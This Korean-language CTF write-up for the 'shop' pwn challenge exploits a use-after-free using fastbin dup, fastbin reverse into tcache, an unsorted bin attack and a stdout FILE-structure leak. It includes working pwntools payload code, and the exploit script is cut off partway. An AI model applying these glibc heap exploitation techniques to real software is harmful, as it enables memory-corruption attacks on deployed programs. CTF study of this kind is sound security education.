CyberSpace CTF 2024 - shop

0x00. Introduction

[*] '/home/user/shop'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

Concept

โžœ  ./shop
1. Buy a pet
2. Edit name
3. Refund
> 

buy_143A()๋ฅผ ์ด์šฉํ•ด์„œ heap chunk๋ฅผ ํ• ๋‹น๋ฐ›๊ณ  ํ• ๋‹น๋œ ์ฃผ์†Œ์™€ size๋ฅผ ์ €์žฅํ•œ๋‹ค. ๊ฐ๊ฐ ์ „์—ญ๋ณ€์ˆ˜์— ์„ ์–ธ๋œ void *ptr_4060[32], int size_4160[32]์— ์ €์žฅ๋ค๋‹ค.

ํ•œํŽธ edit_1523()์—์„œ๋Š” index๋ฅผ ์ž…๋ ฅ๋ฐ›์•„ ptr_4060[index]์— ์ €์žฅ๋œ chunk์˜ ๋‚ด์šฉ์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‹ค.

๋งˆ์ฐฌ๊ฐ€์ง€๋กœ refund_15F6()์—์„œ๋„ index๋ฅผ ์ž…๋ ฅ๋ฐ›์•„ ptr_4060[index]์— ์ €์žฅ๋œ chunk๋ฅผ ํ•ด์ œํ•  ์ˆ˜ ์žˆ๋‹ค.

์ฐธ๊ณ ๋กœ read_flag_12A9()์—์„œ flag๋ฅผ ์ฝ์–ด์„œ heap์— ์ €์žฅํ•˜๋ฏ€๋กœ ์‰˜๊นŒ์ง€๋Š” ๋”ฐ์ง€ ์•Š์•„๋„ ๋œ๋‹ค.

0x01. Vulnerability

int refund_15F6()
{
  unsigned int index; // [rsp+0h] [rbp-10h]
  void *ptr; // [rsp+8h] [rbp-8h]

  printf("Index: ");
  index = read_int_13A5();
  if ( index > 31 )
    return puts("INVALID INDEX");
  ptr = (void *)ptr_4060[index];
  if ( !ptr )
    return puts("INVALID INDEX");
  free(ptr);
  size_4160[index] = 0;
  return puts("DONE");
}

refund_15F6()์—์„œ ptr_4060[index]๊ฐ€ NULL์ด ์•„๋‹Œ์ง€๋ฅผ ๊ฒ€์ฆํ•˜๊ณ  ptr์„ ํ•ด์ œํ•œ๋‹ค.

์ดํ›„ size_4160[index]๋Š” 0์œผ๋กœ ์ดˆ๊ธฐํ™”ํ•˜์ง€๋งŒ ptr_4060[index]๋Š” ์ดˆ๊ธฐํ™”ํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ UAF ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•œ๋‹ค.

0x02. Exploit

Fastbin Reverse Into Tcache

์˜ˆ์ „ ๋ฒ„์ „์˜ glibc(<=2.26)์—์„œ๋Š” ๊ฐ€๋Šฅํ–ˆ์ง€๋งŒ, ํ˜„์žฌ docker ํ™˜๊ฒฝ์˜ ๋ฒ„์ „์ธ 2.31์—์„œ๋Š” tcache์—๋Š” double free๋ฅผ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•œ mitigation์ด ์ ์šฉ๋˜์—ˆ๋‹ค.

1. Buy a pet
2. Edit name
3. Refund
> 3
Index: 0
DONE
1. Buy a pet
2. Edit name
3. Refund
> 3
Index: 1
DONE
1. Buy a pet
2. Edit name
3. Refund
> 3
Index: 0
free(): double free detected in tcache 2
[1]    97427 IOT instruction (core dumped)  ./chall

๋”ฐ๋ผ์„œ ์ด๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด fastbin reverse into tcache ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ–ˆ๋Š”๋ฐ, ๋‹ค์Œ ์ž๋ฃŒ๋“ค์„ ์ฐธ๊ณ ํ–ˆ๋‹ค.

์œ„ ์ž๋ฃŒ๋“ค์—์„œ๋Š” victim chunk๋ฅผ ํ•ด์ œํ•˜๊ณ  ๊ฐ’์„ ์“ธ ์ˆ˜ ์žˆ๋Š” ์ƒํ™ฉ์„ ๊ฐ€์ •ํ–ˆ์ง€๋งŒ ์ด ๋ฌธ์ œ์—์„œ๋Š” size_4160[index]๊ฐ€ 0์ด๋ฉด edit์ด ๋ถˆ๊ฐ€๋Šฅํ•˜๋ฏ€๋กœ fastbin dup ์ƒํ™ฉ์„ ์ถ”๊ฐ€๋กœ ๋งŒ๋“ค์–ด์ค˜์•ผ ํ•œ๋‹ค.

๋”ฐ๋ผ์„œ exploit ์‹œ๋‚˜๋ฆฌ์˜ค๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

  1. Fastbin ๋ฒ”์œ„์˜ chunk๋ฅผ 7๊ฐœ ํ•ด์ œํ•˜์—ฌ tcache๋ฅผ ๊ฝ‰ ์ฑ„์›€
  2. UAF๋ฅผ ์ด์šฉํ•˜์—ฌ fastbin dup ์ƒ์„ฑ
  3. Chunk 7๊ฐœ๋ฅผ ํ• ๋‹นํ•˜์—ฌ tcache๋ฅผ ๋น„์›€
  4. 8๋ฒˆ์งธ chunk๋ฅผ ํ• ๋‹น๋ฐ›์•„ next_chunk ์กฐ์ž‘
  5. ์กฐ์ž‘ํ•œ next_chunk ์ฃผ์†Œ๊ฐ€ ํ• ๋‹น๋  ๋•Œ๊นŒ์ง€ chunk ํ• ๋‹น ์š”์ฒญ
  6. ํ• ๋‹น๋ฐ›์€ ์ฃผ์†Œ๋ฅผ ์ด์šฉํ•ด AAW

ํ•œ ๋‹จ๊ณ„์”ฉ payload๋ฅผ ์ž‘์„ฑํ•ด๋ณด๋ฉด,

    # fill tcache 0x20
    for _ in range(9):
        buy(s, 0x10)
    for i in range(7):
        refund(s, i + 1)

    # fastbin dup 8 -> 9 -> 8
    refund(s, 8)
    refund(s, 9)
    refund(s, 8)

์ด๋ ‡๊ฒŒ refund๋ฅผ 7๋ฒˆ ์‹คํ–‰ํ•ด์„œ tcache๋ฅผ ๊ฝ‰ ์ฑ„์šฐ๋ฉด ์ดํ›„ chunk๋“ค์„ fastbin์œผ๋กœ ๋ณด๋‚ด์ง„๋‹ค. ์ด๋ฅผ ์ด์šฉํ•ด์„œ fastbin์— 8 -> 9 -> 8 loop๋ฅผ ๋งŒ๋“ ๋‹ค.

    # clean tacahe 0x20
    for _ in range(7):
        buy(s, 0x10)
    
    # partially overwrite next_chunk
    buy(s, 0x10)
    edit(s, 8, b"\x40\x96")

์ดํ›„ tcache๋ฅผ ๋น„์šฐ๊ธฐ ์œ„ํ•ด buy๋ฅผ 7๋ฒˆ ์‹คํ–‰ํ•˜๊ณ  ํ•œ๋ฒˆ ๋” buy๋ฅผ ์‹คํ–‰ํ•˜๋ฉด 8๋ฒˆ์งธ chunk๊ฐ€ ๋ฐ˜ํ™˜๋œ๋‹ค. ์ด 8๋ฒˆ์งธ chunk๋Š” buy๋ฅผ ํ•˜๋ฉด์„œ size_4160[8]์— size๊ฐ€ ์ €์žฅ๋์„ ๊ฒƒ์ด๋ฏ€๋กœ edit์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

์•„์ง heap leak์„ ํ•˜์ง€ ๋ชปํ–ˆ์œผ๋ฏ€๋กœ ํ•˜์œ„ ๋ฐ”์ดํŠธ๋งŒ partial overwrite๋ฅผ ํ•ด์„œ ํ™•๋ฅ ์ ์œผ๋กœ heap manipulation์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

gefโžค  heap bins
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Tcachebins for thread 1 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Tcachebins[idx=0, size=0x20, count=3] โ†  Chunk(addr=0x555555559b70, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  
                                      โ†  Chunk(addr=0x555555559b50, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  
                                      โ†  Chunk(addr=0x555555559640, size=0x0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)

์ด๋ ‡๊ฒŒ edit์—์„œ ์ž…๋ ฅํ•œ \x40\x96์ด chunk์˜ next_chunk๋ฅผ ๋ถ€๋ถ„์ ์œผ๋กœ ๋ฎ์–ด์„œ tcache list๋ฅผ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค.

์ž˜ ๋ณด๋ฉด tacahe list์˜ ๋งˆ์ง€๋ง‰์— 0x555555559640์ด ์˜ค๊ฒŒ ๋˜๋Š”๋ฐ size๊ฐ€ 0์ด๋‹ค. ํ•˜์ง€๋งŒ tcache์—์„œ ํ• ๋‹น ์‹œ size ๊ฒ€์ฆ์„ ํ•˜์ง€ ์•Š์•„์„œ ์กฐ์ž‘๋œ next_chunk์˜ ํ• ๋‹น์ด ์ด๋ฃจ์–ด์ง„๋‹ค.

์ƒ๊ฐํ•ด๋ณด๋‹ˆ heap chunk๋ฅผ ํ• ๋‹นํ•  ๋•Œ ์‚ฌ์ด์ฆˆ์™€ ์œ„์น˜๋ฅผ ์ž˜ ์กฐ์ ˆํ•ด์„œ ์ฃผ์†Œ๋ฅผ ํ•œ ๋ฐ”์ดํŠธ๋งŒ overwriteํ•ด๋„ ๋˜๊ฒŒ ๋งŒ๋“ค๋ฉด ํ™•๋ฅ  ์ด์Šˆ ์—†์ด exploit์ด ๊ฐ€๋Šฅํ•  ๊ฒƒ ๊ฐ™๊ธด ํ•˜๋‹ค.

    # allocate overwritten heap address
    buy(0x10)
    buy(0x10)
    buy(0x10)               # index 11 ; overwritten heap address

    # overwrite chunk size
    edit(s, 11, p64(0) + p64(0x421))

์œ„ payload์ฒ˜๋Ÿผ 3๋ฒˆ์งธ buy๋ฅผ ํ•  ๋•Œ partial overwrite๋ฅผ ํ•œ ์ฃผ์†Œ๊ฐ€ ๋ฐ˜ํ™˜๋˜๋ฉฐ, ์ด๋ฅผ ์ด์šฉํ•ด heap์— ์ €์žฅ๋œ ๊ฐ’์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋‹ค.

Unsorted Bin Attack

์ดํ›„ ๋‹จ๊ณ„๋ฅผ ์ง„ํ–‰ํ•˜๊ธฐ์—๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ์— ์ถœ๋ ฅํ•˜๋Š” ๋ถ€๋ถ„์ด ํ•˜๋‚˜๋„ ์—†์–ด์„œ leak์ด ๋ถˆ๊ฐ€๋Šฅํ–ˆ๋‹ค. ์ง€๊ธˆ ๊ฐ€์ง€๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ์ƒ๊ฐํ•ด๋ณด๋ฉด ์ฃผ์†Œ๋ฅผ ๋ชฐ๋ผ์„œ ๊ทธ๋ ‡์ง€ next_chunk์„ ์กฐ์ž‘ํ•ด AAW๊ฐ€ ๊ฐ€๋Šฅํ•œ ์ƒํ™ฉ์ด๋‹ค.

๊ณ ๋ฏผ์„ ํ•˜๋‹ค๊ฐ€ ์•ž์„œ next_chunk์— ์ €์žฅ๋œ heap ์ฃผ์†Œ๋ฅผ partial overwriteํ•œ ๊ฒƒ์ฒ˜๋Ÿผ libc ์ฃผ์†Œ๊ฐ€ ์ €์žฅ๋˜์–ด ์žˆ๋‹ค๋ฉด partial overwrite๋ฅผ ํ•ด์„œ libc ์˜์—ญ์— write๋ฅผ ํ•  ์ˆ˜ ์žˆ๊ฒ ๋‹ค๋Š” ์ƒ๊ฐ์ด ๋“ค์—ˆ๋‹ค.

next_chunk์— libc ์ฃผ์†Œ๊ฐ€ ๋‹ด๊ธฐ๊ฒŒ ํ•˜๋Š” ๊ฒƒ์€ unsorted bin attack์œผ๋กœ ๊ฐ€๋Šฅํ•œ๋ฐ, chunk๋ฅผ ์ž˜ ์ค‘์ฒฉ์‹œ์ผœ์•ผ ํ•œ๋‹ค. ๊ทธ๋ฆผ์œผ๋กœ ๋‚˜ํƒ€๋‚ด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

exploit scenario

๋จผ์ € ์ตœ์ข…์ ์œผ๋กœ๋Š” fastbin์— ์žˆ๋Š” chunk๋ฅผ ์ด์šฉํ•ด AAW๋ฅผ ์ˆ˜ํ–‰ํ•  ๊ฒƒ์ด๋ฏ€๋กœ ์ถฉ๋ถ„ํ•œ ์‚ฌ์ด์ฆˆ(0x60)์˜ chunk๋ฅผ fastbin์œผ๋กœ ๋ณด๋‚ธ๋‹ค. ์ด ๋•Œ victim chunk๋ฅผ unsorted bin์œผ๋กœ ๋ณด๋‚ด๊ธฐ ์œ„ํ•ด next_chunk์™€์˜ offset์ด size์™€ ์ผ์น˜ํ•˜๋„๋ก ์ค‘๊ฐ„์— chunk๋ฅผ ์ž˜ ๋ฐฐ์น˜ํ•ด์•ผ ํ•œ๋‹ค.

๋˜ํ•œ next_chunk๊ฐ€ top chunk์ผ ๊ฒฝ์šฐ unsorted bin์œผ๋กœ ๊ฐ€์ง€ ์•Š๊ณ  top chunk์— ๋ณ‘ํ•ฉ๋˜์–ด๋ฒ„๋ฆฌ๊ธฐ ๋•Œ๋ฌธ์— ์ด๋ฅผ ๊ณ ๋ คํ•ด์•ผํ•œ๋‹ค.

    # fill tcache 0x70
    for _ in range(8):
        buy(s, 0x60)
    for i in range(7):
        refund(s, i)
    buy(s, 0x3a0)           # index 0 ; align next chunk
    
    # 0x555555559650 chunk goes to fastbin
    refund(s, 7)

์ด๋ ‡๊ฒŒ index 7 chunk(0x555555559650)๊ฐ€ fastbin์— ๋ณด๋‚ด์กŒ์œผ๋ฉฐ ๋’ค์— 0x3a0 chunk๋ฅผ ํ• ๋‹น๋ฐ›์•„ ์ฒซ ๋ฒˆ์งธ ๊ทธ๋ฆผ๊ณผ ๊ฐ™์€ ํ˜•ํƒœ๊ฐ€ ๋˜์—ˆ๋‹ค.

์ด์ œ chunk size๋ฅผ overwriteํ•˜๊ธฐ ์œ„ํ•ด fastbin reverse into tcache ๊ธฐ๋ฒ•์„ ์ด์šฉํ•œ๋‹ค.

    # partially overwrite next_chunk
    buy(s, 0x10)
    edit(s, 8, b"\x40\x96")
    
    # allocate overwritten heap address
    buy(s, 0x10)
    buy(s, 0x10)
    buy(s, 0x10)            # index 11 ; overwritten heap address

    # overwrite chunk size
    edit(s, 11, p64(0) + p64(0x421))

์œ„ payload๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ๋‘ ๋ฒˆ์งธ ๊ทธ๋ฆผ๊ณผ ๊ฐ™์•„์ง€๋ฉฐ 0x555555559650 chunk๋ฅผ ํ•ด์ œ์‹œ์ผœ์ฃผ๋ฉด ๋˜๋Š”๋ฐ 0x555555559650๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ํฌ์ธํ„ฐ๊ฐ€ ํ•˜๋‚˜๋„ ์—†๋‹ค. ํ•ด๋‹น ์ฃผ์†Œ๋Š” ์ด๋ฏธ ํ•ด์ œ๋œ chunk์˜ ์ฃผ์†Œ์ด๊ธฐ ๋•Œ๋ฌธ์— ๋‹ค์‹œ 0x60 ํฌ๊ธฐ์˜ chunk๋ฅผ ํ• ๋‹น๋ฐ›์ง€ ์•Š๋Š” ํ•œ ์ ‘๊ทผํ•  ์ˆ˜ ์—†๋‹ค.

๋”ฐ๋ผ์„œ fastbin reverse into tcache ๊ธฐ๋ฒ•์„ ํ•œ๋ฒˆ ๋” ์‚ฌ์šฉํ•ด์„œ ํ•ด๋‹น ์ฃผ์†Œ๋ฅผ ๋ฐ˜ํ™˜๋ฐ›๋Š”๋‹ค.

    # partially overwrite next_chunk
    buy(s, 0x10)
    edit(s, 12, b"\x50\x96")

    # allocate overwritten heap address
    buy(s, 0x10)
    buy(s, 0x10)
    buy(s, 0x10)            # index 15 ; overwritten heap address
    
    # free(0x555555559650) ; move chunk to unsorted bin
    refund(s, 15)

์ด๋ฒˆ์—๋Š” ๋ฐ˜ํ™˜๋ฐ›์€ ์ฃผ์†Œ๋ฅผ editํ•˜๋Š”๊ฒŒ ์•„๋‹ˆ๋ผ refund๋ฅผ ํ•ด์„œ ํ•ด์ œ์‹œ์ผœ์ฃผ๋ฉด ์„ธ ๋ฒˆ์งธ ๊ทธ๋ฆผ๊ณผ ๊ฐ™์•„์ง„๋‹ค.

gefโžค  heap bins
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Fastbins for arena at 0x7ffff7fbfb80 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Fastbins[idx=5, size=0x70]  โ†  Chunk(addr=0x555555559650, size=0x420, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [incorrect fastbin_index]  
                            โ†  Chunk(addr=0x7ffff7fbfbf0, size=0x0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [incorrect fastbin_index]  
                            โ†  Chunk(addr=0x555555559650, size=0x420, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  โ†’  [loop detected]
Fastbins[idx=6, size=0x80] 0x00
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Unsorted Bin for arena at 0x7ffff7fbfb80 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
[+] unsorted_bins[0]: fw=0x555555559640, bk=0x555555559640
 โ†’   Chunk(addr=0x555555559650, size=0x420, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in unsorted bin.

0x555555559650 chunk๋Š” ์—ฌ์ „ํžˆ fastbin์— ์žˆ์œผ๋ฏ€๋กœ next_chunk์— ๋‹ด๊ธฐ๊ฒŒ ๋œ main_arena๊ฐ€ ๋‹ค์Œ chunk๋กœ ํ•ด์„๋˜์–ด libc ์˜์—ญ์„ ํ• ๋‹น๋ฐ›์„ ์ˆ˜ ์žˆ๊ฒŒ ๋˜์—ˆ๋‹ค. ๋‹ค๋งŒ fastbin์—์„œ๋Š” size์— ๋Œ€ํ•œ ๊ฒ€์ฆ์„ ํ•˜๋ฏ€๋กœ 0x421๋กœ overwriteํ•œ chunk size๋ฅผ ๋‹ค์‹œ ์›๋ณต์‹œ์ผœ์•ผ ํ•œ๋‹ค.

    # restore chunk size
    edit(s, 11, p64(0) + p64(0x71))

Stdout Attack

Stdout์˜ flag๋ฅผ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์„ ๋•Œ libc leak์ด ๊ฐ€๋Šฅํ•œ ๊ธฐ๋ฒ•์ด ์žˆ์–ด ๋‹ค์Œ ์ž๋ฃŒ๋ฅผ ์ฐธ๊ณ ํ–ˆ๋‹ค.

Unsorted bin attack์„ ์ž˜ ์ˆ˜ํ–‰ํ•˜๋ฉด 0x555555559650 ์ฃผ์†Œ์— ๋‹ด๊ธด main_arena ์ฃผ์†Œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

gefโžค  x/4gx 0x555555559650 - 0x10
0x555555559640: 0x0000000000000000      0x0000000000000071
0x555555559650: 0x00007ffff7fbfbe0      0x00007ffff7fbfbe0

ํ•œํŽธ stdout์€ libc ์˜์—ญ์— ์ €์žฅ๋œ _IO_FILE ๊ตฌ์กฐ์ฒด๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š”๋ฐ, ๊ทธ ์ฃผ์†Œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

gefโžค  x/6gx 0x555555558020
0x555555558020 <stdout>:        0x00007ffff7fc06a0      0x0000000000000000
0x555555558030 <stdin>:         0x00007ffff7fbf980      0x0000000000000000
0x555555558040 <stderr>:        0x00007ffff7fc05c0      0x0000000000000000

0x7ffff7fbfbe0์™€ 0x7ffff7fc06a0๋Š” ASLR์ด ์—†์„ ๋•Œ๋Š” ์ฃผ์†Œ๊ฐ’์ด 3๋ฐ”์ดํŠธ ์ฐจ์ด๊ฐ€ ๋‚˜์ง€๋งŒ ASLR์ด ์ผœ์ ธ์žˆ์„ ๋•Œ๋Š” ํ™•๋ฅ ์ ์œผ๋กœ 2๋ฐ”์ดํŠธ๋งŒ ์ฐจ์ด๊ฐ€ ๋‚˜๋ฏ€๋กœ partial overwrite๋ฅผ ํ–ˆ์„ ๋•Œ 1/16 ํ™•๋ฅ ๋กœ exploit์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

    # partially overwrite main_arena -> stdout
    buy(s, 0x60)
    edit(s, 22, b"\xa0\x06\xfc")    # aslr off
    # edit(s, 22, b"\xa0\x76")      # aslr on
    
    for _ in range(3):
        buy(s, 0x60)

๋”ฐ๋ผ์„œ 1/16 ํ™•๋ฅ ๋กœ stdout์˜ _IO_FILE ๊ตฌ์กฐ์ฒด๊ฐ€ ์ €์žฅ๋œ libc ์ฃผ์†Œ๋ฅผ ํ• ๋‹น๋ฐ›๊ฒŒ ๋œ๋‹ค๋ฉด flag๋ฅผ ๋ฐ”๊ฟ” libc ์ฃผ์†Œ๋ฅผ ์ถœ๋ ฅํ•  ์ˆ˜ ์žˆ๋‹ค.

Exploit ํ…Œํฌ๋‹‰์„ ์š”์•ฝํ•˜์ž๋ฉด flag์— _IO_IS_APPENDING์„ ์ถ”๊ฐ€ํ–ˆ์„ ๋•Œ ๋‹ค์Œ๊ณผ ๊ฐ™์ด _IO_new_do_write๊ฐ€ ํ˜ธ์ถœ๋˜๋ฏ€๋กœ _IO_write_base, _IO_write_ptr์„ ์ž˜ ์กฐ์ž‘ํ•ด์ฃผ๋ฉด ๋œ๋‹ค.

// _IO_do_write (FILE *fp, const char *data, size_t to_do)
_IO_do_write (stdout, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base)

๊ฐ’์„ ๋ณ€๊ฒฝํ•˜๊ธฐ ์ „ stdout์˜ _IO_FILE ๊ตฌ์กฐ์ฒด์˜ ์ƒํƒœ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

gefโžค  p *(struct _IO_FILE *) 0x7ffff7fc06a0
$1 = {
  _flags = 0xfbad2887,
  _IO_read_ptr = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
  _IO_read_end = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
  _IO_read_base = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
  _IO_write_base = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
  _IO_write_ptr = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
  _IO_write_end = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
  _IO_buf_base = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
  _IO_buf_end = 0x7ffff7fc0724 <_IO_2_1_stdout_+132> "",
  ...
}

์ฐธ๊ณ ํ•œ ์ž๋ฃŒ์—์„œ๋Š” _IO_write_base์˜ ์ฒซ ๋ฐ”์ดํŠธ๋ฅผ \x00์œผ๋กœ overwriteํ•˜๋Š”๋ฐ, ๊ทธ๋Ÿฌ๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด _IO_do_write๊ฐ€ ํ˜ธ์ถœ๋  ๊ฒƒ์ด๋‹ค.

// _IO_do_write (FILE *fp, const char *data, size_t to_do)
_IO_do_write (stdout, 0x7ffff7fc0700, 0x23)

์ด ์ถœ๋ ฅ์˜ ๊ฒฐ๊ณผ๋ฌผ๋กœ _IO_FILE ๊ตฌ์กฐ์ฒด์— ๋‹ด๊ฒจ์žˆ๋˜ libc ์ฃผ์†Œ๊ฐ€ ์ถœ๋ ฅ๋œ๋‹ค.

    # leak libc
    io_is_appending = 0x1000
    payload = p64(0xfbad2887 | io_is_appending)
    payload += b"\x00" * 0x19
    r = edit(s, 25, payload)

์œ„ payload๋ฅผ ํ†ตํ•ด libc leak์ด ๊ฐ€๋Šฅํ•œ ๊ฒƒ์œผ๋กœ ๋ณด์•„ _IO_read_XXX๊ฐ™์€ ์˜์—ญ์€ ์ถœ๋ ฅ์„ ํ•  ๋•Œ ์ค‘์š”ํ•˜์ง€ ์•Š๋Š” ๋“ฏํ•˜๋‹ค.

์ด stdout ๊ตฌ์กฐ์ฒด๋ฅผ ์ด์šฉํ•ด์„œ AAR์ด ๊ฐ€๋Šฅํ•˜๊ณ  ๋ฐ”์ด๋„ˆ๋ฆฌ์—์„œ flag๋ฅผ ์ฝ์€ ํ›„ heap ๋ฉ”๋ชจ๋ฆฌ์— ์ €์žฅํ•˜๋ฏ€๋กœ ์ด์ œ heap ์ฃผ์†Œ๋งŒ ์žˆ์œผ๋ฉด flag๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค. Unsorted bin attack์—์„œ next_chunk์— main_arena ์ฃผ์†Œ๊ฐ€ ๋‹ด๊ธฐ๊ฒŒ ํ•œ ๊ฒƒ๊ณผ ๋ฐ˜๋Œ€๋กœ main_arena์—๋Š” heap ์ฃผ์†Œ๊ฐ€ ๋‹ด๊ฒจ์žˆ๋‹ค. main_arena๋Š” libc์˜ ๊ณ ์ •๋œ ์˜์—ญ์— ์ €์žฅ๋œ ๋ณ€์ˆ˜์ด๋ฏ€๋กœ offset์„ ๊ณ„์‚ฐํ•ด์„œ ๊ฐ’์„ ๋ฎ์–ด์ฃผ๋ฉด ๋œ๋‹ค.

    # leak heap - print main_arena
    payload = p64(0xfbad2887 | io_is_appending)
    payload += b"\x00" * 0x18
    payload += p64(main_arena)          # _IO_write_base
    payload += p64(main_arena + 0x20)   # _IO_write_ptr
    payload += p64(main_arena + 0x20)   # _IO_write_end
    r = edit(s, 25, payload)

์ฃผ์˜ํ•ด์•ผ ํ•  ์ ์€ _IO_write_end๊ฐ€ _IO_write_ptr๊ณผ ๊ฐ™์•„์•ผ ์ถœ๋ ฅ์ด ๋œ๋‹ค๋Š” ์ ์ด๋‹ค. ์•Œ์•„๋’€๋‹ค๊ฐ€ ๋‚˜์ค‘์— stdout์„ ์ด์šฉํ•ด ๋ฉ”๋ชจ๋ฆฌ leak์„ ํ•ด์•ผํ•  ๋•Œ ํ™œ์šฉํ•ด์•ผ๊ฒ ๋‹ค.

    # print flag
    payload = p64(0xfbad2887 | io_is_appending)
    payload += b"\x00" * 0x18
    payload += p64(flag)                # _IO_write_base
    payload += p64(flag + 0x30)         # _IO_write_ptr
    payload += p64(flag + 0x30)         # _IO_write_end
    r = edit(s, 25, payload)

Heap ์ฃผ์†Œ๋ฅผ ํš๋“ํ•œ ๋’ค ๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ flag๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "chall"
LIBRARY = "libc-2.31.so"
CONTAINER = "b212a05a74cb"
code_base = 0x555555554000
bp = {
    'read_int_edit' : code_base + 0x1545,
    'read_int_refund' : code_base + 0x1618
}

index_list = [0] * 32
def print_index(op, num = 0):
    if op == "pop":
        index_list[num] = 0
        index = num
    elif op == "push":
        for _ in range(len(index_list)):
            if index_list[_] == 0:
                index_list[_] = num
                index = _
                break
    hex_numbers = [hex(num)[2:].rjust(3) for num in index_list[0:16]]
    log.info(f"{', '.join(hex_numbers)} ; {op} {index}")

def buy(s, size):
    s.sendline(b"1")
    s.sendlineafter(b"much? ", str(size).encode())
    print_index("push", size)
    return s.recvuntil(b"> ")

def edit(s, index, name):
    s.sendline(b"2")
    s.sendlineafter(b"Index: ", str(index).encode())
    s.sendafter(b"Name: ", name)
    return s.recvuntil(b"> ")

def refund(s, index):
    s.sendline(b"3")
    s.sendlineafter(b"Index: ", str(index).encode())
    print_index("pop", index)
    return s.recvuntil(b"> ")

gs = f'''
!b *{bp["read_int_refund"]}
gef config gef.bruteforce_main_arena True
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main(server, port, debug):
    if(port):
        s = remote(server, port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
        else:
            context.log_level = "ERROR"
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    s.recvuntil(b"> ").decode()

    # fill tcache 0x70
    for _ in range(8):
        buy(s, 0x60)
    for i in range(7):
        refund(s, i)
    buy(s, 0x3a0)           # index 0 ; align next chunk
    
    # 0x555555559650 chunk goes to fastbin
    refund(s, 7)

    # fill tcache 0x20
    for _ in range(9):
        buy(s, 0x10)
    for i in range(7):
        refund(s, i + 1)

    # fastbin dup 8 -> 9 -> 8
    refund(s, 8)
    refund(s, 9)
    refund(s, 8)

    # clean tacahe 0x20
